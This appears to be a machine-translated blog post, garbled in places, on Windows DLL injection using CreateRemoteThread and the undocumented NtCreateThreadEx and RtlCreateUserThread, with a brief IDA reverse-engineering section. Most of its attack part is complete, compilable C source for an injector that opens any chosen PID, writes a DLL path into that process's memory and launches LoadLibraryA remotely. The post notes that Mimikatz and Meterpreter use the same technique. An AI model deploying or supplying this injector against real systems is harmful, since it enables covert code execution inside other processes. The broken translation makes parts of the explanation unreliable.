DLL injection posture (2): CreateRemoteThread And More
There is actually a lot of content about this series, and the examples provided are all self-compiled source code, there are also related articles in the Open security and Infosec Institute. Of course, there are many more in-depth discussions here. I don't want to supplement these people, but hope to spend time understanding these things so that we can better help us improve ourselves.
0 × 01 remote thread injection method CreateRemoteThread
In the previous blog, we introducedSetWindowsHookEx
Method injection. This part of work has been done, but it does not look great. To inject a DLL into a process, we need to obtain the thread ID of the process, so that we can inject it into any process that receives hook information. Fortunately, there is another way to do this. In this article, we will tryCreareRemoteThread
Method. InSetWindowsHookEx
, We useLoadLibrary
SetDLL
Load to the address space of the current process (not the target process. UseGetProcAddress
Obtain the address of the required function. The following will be handed overSetWindowsHookEX
We construct a hook to hook a process that will automatically load our DLL.DLL
The injection process is complete. WhileCreateRemoteThread
This process is different from the preceding process. The steps are as follows:
1. UseVirtualAllocEx
Create a block in the address space of the target processDLL
Memory space in the path.
2. UseWriteProcessMemory
SetDLL
Path write memory allocated.
3. Once the DLL path is written into the memory, useCreateRemoteThread
(Or other functions without formal instructions), it callsLoadLibrary
Function willDLL
Inject into the target process.
0 × 02 Windows features
Features that are not officially described in Windows refer to those that are not described in detail in Microsoft. In this way, there will be some problems when using these features. The most obvious problem is that there is no document with a specific function. However, many of these features are described in the ReactOS project, and this article gives us the most intuitive understanding. In addition, if Microsoft does not officially pass these functions, these functions may eventually be used out of the border. Finally, they all need more code to understand and use it correctly.
Think about these questions. Why do we need to use these functions without formal instructions? The basic reason is that since Vista, if the target process is not in the current session but in a different sessionCreateRemoteThread
Will be invalid. However, these functions will not be described without formal instructions. Of course, this will not be understood immediately from the perspective of reverse engineering. In the end, this is only a small mess in some unknown functions in Windows.
In our code, we useCreateRemote
Thread and two functions without formal descriptionsNtCreateThreadEx
AndRtlCreateUserThread
. You may have heard of Mimikatz and Metasploit. Both useRtlCreateUserThread
To implement DLL injection. If you want to read the code, you can find mikatz here, And Meterpreter here. It should be noted that Mimikatz's blog is in French. If you have any language barriers, please refer to here.
Which of the two functions should be selected?NtCreateThreadEx
It is a system call and a method for dealing with user space applications and kernels. Quick View in IDARtlCreateUserThread
. Setntdll.dll
Drag it into IDA and find it by name tagRtlCreateUserThread
, You can see the following information:
The code below is as follows:
When you track this code, you will find that,RtlCreateUserThread
CallNtCreateThreadEx
. ThereforeRtlCreateUserThread
It should beNtCreateThreadEx
. We want to callRtlCreateUserThread
BecauseNtCreateThreadEx
System call options can be changed between Windows versions. Therefore,RtlCreateUserThread
It is easier to use. Use Mimikatz and MeterpreterRtlCreateUserThread
This option is more secure.
0 × 03 code
The following code is improved. The CreateRemoteThread method is used to implement the above steps step by step:
1. Use VirtualAllocEx to create a memory space with the path length of our DLL in the address space of the target process. // This dll path shocould be relative to the target process or an absolute pathchar * dll = "inject. dll "; // We need a handle to the process we will be injecting into handle hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pid ); // Create the space needed for the dll we are going to be injectingLPVOID lpSpace = (LPVOID) VirtualAllocEx (hProcess, NULL, strlen (dll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
VirtualAlloc. c
2. UseWriteProcessMemory
SetDLL
Memory allocated for path writing
//Write inject.dll to memory of processint n = WriteProcessMemory(hProcess, lpSpace, dll, strlen(dll), NULL);
WriteProcessMem. c
3. Once the DLL path is written into the memory, useCreateRemoteThread
(Or other functions without formal instructions), it then calls the LoadLibrary function to inject the DLL into the target process.
HMODULE hModule = GetModuleHandle("kernel32.dll");LPVOID lpBaseAddress = (LPVOID)GetProcAddress(hModule,"LoadLibraryA");//Create Remote Thread using the address to LoadLibraryA and the space for the DLLhThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, NULL, NULL);
CreateRemThread. c
Remote thread DLL Injection
The next step is to use these functions without formal instructions.CreateRemoteThread
. You must call these functions first. InCreateRemoteThread
, We can directly call it because it isWindows API
. These functions do not have this feature, so you need to create a template. Start with RtlCreateUserThread. First, use the same name (it is not necessary to be the same name, but it will be clearer) to create this method. This method is used to declare the prototype of this function. This prototype must match the template provided through NtInternals. Create a thread handle as the input. The RtlCreateUserThread Pointer Points to the thread handle and sets RtlCreateUserThread to the handle of the created thread. Then we get the ntdll. dll handle, which is exactly where RtlCreateUserThread is saved. Functions in different DLL files can be output, so they can be used directly. In DLL, we can use the same method "_ declspec (dllexport)" to output the function. Since functions without formal instructions are not output, we must obtain the handle and address. The next step is to use GetProcAddress to obtain the address in the process. And return the thread handle. The template is as follows:
Fortunately, this process is essentially the same for NtCreateThreadEx, as shown below:
HANDLE NtCreateThreadEx( HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpSpace){//The prototype NtCreateThreadEx from undocumented.ntinternals.com typedef DWORD (WINAPI * functypeNtCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD Unknown1, DWORD Unknown2, LPVOID Unknown3 ); HANDLE hRemoteThread = NULL; HMODULE hNtDllModule = NULL; functypeNtCreateThreadEx funcNtCreateThreadEx = NULL; //Get handle for ntdll which contains NtCreateThreadEx hNtDllModule = GetModuleHandle( "ntdll.dll" ); if ( hNtDllModule == NULL ) { return NULL; } funcNtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress( hNtDllModule, "NtCreateThreadEx" ); if ( !funcNtCreateThreadEx ) { return NULL; } funcNtCreateThreadEx( &hRemoteThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, FALSE, NULL, NULL, NULL, NULL ); return hRemoteThread;}
NtCreateThreadEx. c
#include
#include
HANDLE RtlCreateUserThread(HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpSpace){//The prototype of RtlCreateUserThread from undocumented.ntinternals.comtypedef DWORD (WINAPI * functypeRtlCreateUserThread)(HANDLE ProcessHandle,PSECURITY_DESCRIPTOR SecurityDescriptor,BOOL CreateSuspended,ULONG StackZeroBits,PULONG StackReserved,PULONG StackCommit,LPVOID StartAddress,LPVOID StartParameter,HANDLE ThreadHandle,LPVOID ClientID ); //Get handle for ntdll which contains RtlCreateUserThreadHANDLE hRemoteThread = NULL;HMODULE hNtDllModule = GetModuleHandle("ntdll.dll"); if( hNtDllModule == NULL ){return NULL;} functypeRtlCreateUserThread funcRtlCreateUserThread = (functypeRtlCreateUserThread)GetProcAddress(hNtDllModule, "RtlCreateUserThread"); if( !funcRtlCreateUserThread ){return NULL;} funcRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpBaseAddress,lpSpace,&hRemoteThread, NULL);DWORD lastError = GetLastError();return hRemoteThread;} HANDLE NtCreateThreadEx( HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpSpace){ //The prototype of NtCreateThreadEx from undocumented.ntinternals.com typedef DWORD (WINAPI * functypeNtCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD Unknown1, DWORD Unknown2, LPVOID Unknown3 ); HANDLE hRemoteThread = NULL; HMODULE hNtDllModule = NULL; functypeNtCreateThreadEx funcNtCreateThreadEx = NULL; //Get handle for ntdll which contains NtCreateThreadEx hNtDllModule = GetModuleHandle( "ntdll.dll" ); if ( hNtDllModule == NULL ) { return NULL; } funcNtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress( hNtDllModule, "NtCreateThreadEx" ); if ( !funcNtCreateThreadEx ) { return NULL; }funcNtCreateThreadEx( &hRemoteThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, FALSE, NULL, NULL, NULL, NULL ); return hRemoteThread;} int injectIntoPID(int process, int method){DWORD pid = (DWORD) process;char* dll = "inject.dll";//Gets the process handle for the target processHANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if(OpenProcess == NULL){puts("Could not find process");} //Retrieves kernel32.dll module handle for getting loadlibrary base addressHMODULE hModule = GetModuleHandle("kernel32.dll");//Gets address for LoadLibraryA in kernel32.dllLPVOID lpBaseAddress = (LPVOID)GetProcAddress(hModule,"LoadLibraryA"); if(lpBaseAddress == NULL){puts("Unable to locate LoadLibraryA");return -1;} //Allocates space inside for inject.dll to our target processLPVOID lpSpace = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(dll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);if(lpSpace == NULL){printf("Could not allocate memory in process %u", (int)process);return -1;} //Write inject.dll to memory of processint n = WriteProcessMemory(hProcess, lpSpace, dll, strlen(dll), NULL);if(n == 0){puts("Could not write to process's address space");return -1;} HANDLE hThread; switch( method ){case 1:hThread = NtCreateThreadEx(hProcess, lpBaseAddress, lpSpace);break;case 2:hThread = RtlCreateUserThread(hProcess, lpBaseAddress, lpSpace);break;default:hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, NULL, NULL);} if(hThread == NULL){return -1;}else{DWORD threadId = GetThreadId(hThread);DWORD processId = GetProcessIdOfThread(hThread);printf("Injected thread id: %u for pid: %u", threadId, processId); getchar();getchar();CloseHandle(hProcess);return 0;}} int main(int argc, char* argv){int pid;int method;puts("Inject into which PID?");scanf("%u", &pid);puts("Which method? (0 (default): CRT, 1: NtCreateThread, 2: RtlCreateUserThread)");scanf("%u", &method);int result = injectIntoPID(pid,method);if(result == -1){puts("Could not inject into PID");} }
Crt_inject.c
Run the above Code and the result is as follows:
0 × 04 reverse debugging
Now let's take a look at our payload. After compilation, drag it to IDA to check it. I am not a master of IDA, but fortunately it is not very complicated (especially the following code ). Check the name window as follows:
Note that there is an "I" before CreateRemoteThread and A "A" before the other two ". "I" indicates the input name, and "A" indicates ASCII. ASCII is the name of the function during compilation. Therefore, when we name these two function names properly, we can confuse malicious people. Double-click one of them as follows:
CreateRemoteThread
It is a part of idata.rdata
Indicates read-only. Right-click any one of them and you can view the cross-reference information through the cross-reference option:
In this way, you can see the actual function code. However, I prefer to look at the Code call diagram. As shown below, note that these two functions look very similar (this is not surprising ). In the orderCreateRemoteThread, NtCreateThreadEx, RtlCreateUserThread。
CreateRemoteThread
Because it is marked, it is easier to recognize it in assembly code, but most functions look very close to each other.